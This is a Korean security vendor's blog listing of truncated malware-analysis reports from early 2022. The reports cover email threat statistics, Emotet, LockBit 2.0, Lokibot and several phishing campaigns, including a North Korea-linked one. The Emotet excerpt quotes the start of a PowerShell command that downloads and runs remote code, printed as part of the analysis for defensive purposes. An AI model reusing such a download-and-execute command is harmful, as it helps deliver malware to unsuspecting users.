안녕하세요? 이스트시큐리티 ESRC(시큐리티대응센터)입니다. ESRC에서는 자체 운영 중인 이메일 모니터링 시스템의 데이터를 통해 이메일 중심의 공격이 어떻게 이루어지고 있는지 공유하고 있습니다. 다음은 01월 30일~02월 05일까지의 주간 통계 정보입니다. 1. 이메일 유입량 지난주 이메일 유입량은 총 117건이고 그중 악성은 48건으로 41.03%의 비율을 보였습니다. 악성 이메일의 경우 그 전주 88건 대비 48건으로 40건이 감소했습니다. 일일 유입량은 하루 최저 4건(악성 1건)에서 최대 49건(악성 18건)으로 일별 편차를 확인할 수 있습니다. 2. 이메일 유형 악성 이메일을 유형별로 살펴보면 48건 중 Attach-Malware형이 54.2%로 가장 많았고 뒤이어 Attach-Phishin..

악성코드 분석 리포트 2022. 2. 8. 09:30

안녕하세요? 이스트시큐리티 ESRC(시큐리티대응센터)입니다. ESRC에서는 자체 운영 중인 이메일 모니터링 시스템의 데이터를 통해 이메일 중심의 공격이 어떻게 이루어지고 있는지 공유하고 있습니다. 다음은 01월 23일~01월 29일까지의 주간 통계 정보입니다. 1. 이메일 유입량 지난주 이메일 유입량은 총 211건이고 그중 악성은 87건으로 41.23%의 비율을 보였습니다. 악성 이메일의 경우 그 전주 45건 대비 87건으로 42건이 증가했습니다. 일일 유입량은 하루 최저 12건(악성 1건)에서 최대 50건(악성 24건)으로 일별 편차를 확인할 수 있습니다. 2. 이메일 유형 악성 이메일을 유형별로 살펴보면 87건 중 Attach-Malware형이 62.1%로 가장 많았고 뒤이어 Link-Malware형..

악성코드 분석 리포트 2022. 2. 3. 19:00

안녕하세요? 이스트시큐리티 시큐리티대응센터(이하 ESRC)입니다. 이스트시큐리티 시큐리티대응센터(ESRC)를 위장한 피싱 메일이 유포되고 있어 사용자들의 주의가 필요합니다. 해당 메일은 '[알림]스팸메일 대량 발송'의 제목으로 유포되고 있으며, ESRC가 운영중인 이메일 모니터링 시스템의 데이터를 통하여 수신자의 이메일 주소를 사칭한 스팸메일 발송 내역이 확인되었다는 내용을 포함하고 있습니다. 해당 이메일은 특정 분야의 전문가들을 대상으로 유포되고 있는것으로 확인되었으며, 대량으로 유포중에 있는 것으로 추정되고 있어 사용자들의 각별한 주의가 필요합니다. 사용자 여러분들께서는 이러한 이메일을 수신하시면 바로 삭제를 해주시기를 바라며, 기업 보안담당자 여러분들은 저희가 공개한 이메일 주소 및 발신지 ip를 ..

악성코드 분석 리포트 2022. 2. 3. 11:59

안녕하세요? 이스트시큐리티 시큐리티대응센터(이하 ESRC)입니다. 어제부터 이모텟(emotet) 악성코드가 대량으로 유포중에 있어 사용자들의 주의가 필요합니다. 이메일에는 별다른 내용 없이 첨부되어 있는 압축파일의 패스워드만 적혀있습니다. 압축파일 내에는 매크로가 포함된 엑셀 파일이 포함되어 있으며, 문서가 보호되어있다며 사용자로 하여금 '콘텐츠 사용' 버튼의 클릭을 유도합니다. 해당 엑셀파일에는 매크로 악성파일이 포함되어 있으며, 매크로는 특정 사이트에서 html을 hta 형식으로 실행합니다. html은 난독화 되어 있으며, 최종적으로 내부에 포함된 파워쉘 스크립트를 실행합니다 powershell.exe -noexit $c1='(New-Object Net.WebClient).DownloadString(..

악성코드 분석 리포트 2022. 1. 28. 15:26

안녕하세요? 이스트시큐리티 시큐리티대응센터(이하 ESRC)입니다. 북한 연계 조직이 코로나19 3차 백신접종 전자문서로 위장한 해킹 메일을 유포중에 있어 사용자들의 주의가 필요합니다. 해당 이메일은 주로 특정분야 전문가들을 대상으로 유포되고 있어 분명한 목적을 가진 공격으로 추정됩니다. 이번에 발견된 이메일은 중앙방역대책본부를 위장하고 있으며, 코로나19 백신 3차 접종 후 이상반응 모니터링 현황의 제목으로 사용자의 클릭을 유도합니다. 만일, 사용자가 '확인하기' 버튼을 누르면, 네이버 로그인창을 위장한 피싱 사이트로 넘어갑니다. 피싱 사이트 링크는, 실제 네이버 로그인 페이지 주소인 nid.naver.com을 교묘하게 위장하고 있습니다. 만일 사용자가 해당 페이지를 실제 페이지로 오인하여 계정정보를 입..

악성코드 분석 리포트 2022. 1. 28. 11:14

안녕하세요? 이스트시큐리티 시큐리티대응센터(이하 ESRC)입니다. 금일 오전부터, 피싱 메일을 통해 LockBit 랜섬웨어가 유포중에 있어 사용자들의 주의가 필요합니다. 피싱 메일은 저작권 위반을 위장하여 유포중인 것으로 추정되며, pdf 파일을 위장한 ' 이미지 원본(제가 제작한 이미지)과 사용하고 있으신 이미지 정리한 내용' 파일명의 악성파일이 첨부되어 있습니다. 만일 사용자가 해당 파일을 pdf 파일로 오인하여 실행하면, 악성 파일이 실행됩니다. 악성 파일은 NSIS 설치 패키지 형태로, 실행되면 자식 프로세스를 생성하고 LockBit 2.0랜섬웨어 파일을 메모리에 드랍합니다. 이후 사용자 PC의 파일들을 암호화 하며, 암호화 후 확장자를 .lockbit으로 변경합니다. 또한 Restore-My-F..

악성코드 분석 리포트 2022. 1. 27. 16:35

안녕하세요? 이스트시큐리티 시큐리티대응센터(이하 ESRC)입니다. 견적서를 위장한 피싱메일을 통해 Lokibot이 유포중에 있어 사용자들의 주의가 필요합니다. 이번에 발견된 피싱 메일은 '견적요청서 송부의 건' 제목으로 유포되고 있으며, 피싱 메일에는 대용량파일 형태로 악성파일이 첨부되어 있습니다. 압축파일 내에는 exe 파일이 포함되어 있습니다. exe는 실행파일로 사용자 측에서 쉽게 이상하다는 의구심을 가질 수 있지만, 확장자 확인을 하지 않거나 주의를 기울이지 않으면 충분히 실행 가능성이 있습니다. 사용자가 압축파일 내 .exe 파일은 난독화 되어 있으며, 을 실행하면 dll이 드롭되며, 드롭된 dll은 추가로 다른 dll을 드랍합니다. 최종적으로 드랍된 dll 파일은 사용자의 레지스트리를 순회하며..

악성코드 분석 리포트 2022. 1. 27. 10:12

안녕하세요? 이스트시큐리티 시큐리티대응센터(이하 ESRC)입니다. 근로계약서를 사칭한 피싱 메일이 유포되고 있어 사용자들의 주의가 필요합니다. 이번 피싱 메일은 '[***] '2022 근로계약서_***' 서류심사 및 준비서류 요청'이라는 제목으로 유포되었습니다. 피싱 메일에는 검토할 문서가 있다는 내용과 함께 [문서 검토]라는 버튼이 있습니다. 만일 사용자가 해당 버튼을 누르면 피싱 페이지로 넘어가게 됩니다. 피싱 페이지는 암호화 된 pdf 파일을 위장하고 있으며, 다운로드 링크를 클릭하면 사용자 이메일의 비밀번호를 입력하라고 유도합니다. 만일 사용자가 password 란에 비밀번호를 입력하면, 로딩 아이콘이 뜨며 마치 오류가 난 것처럼 아무런 반응이 없습니다. 하지만 실제로는 백그라운드에서 사용자가 입..

악성코드 분석 리포트 2022. 1. 26. 17:22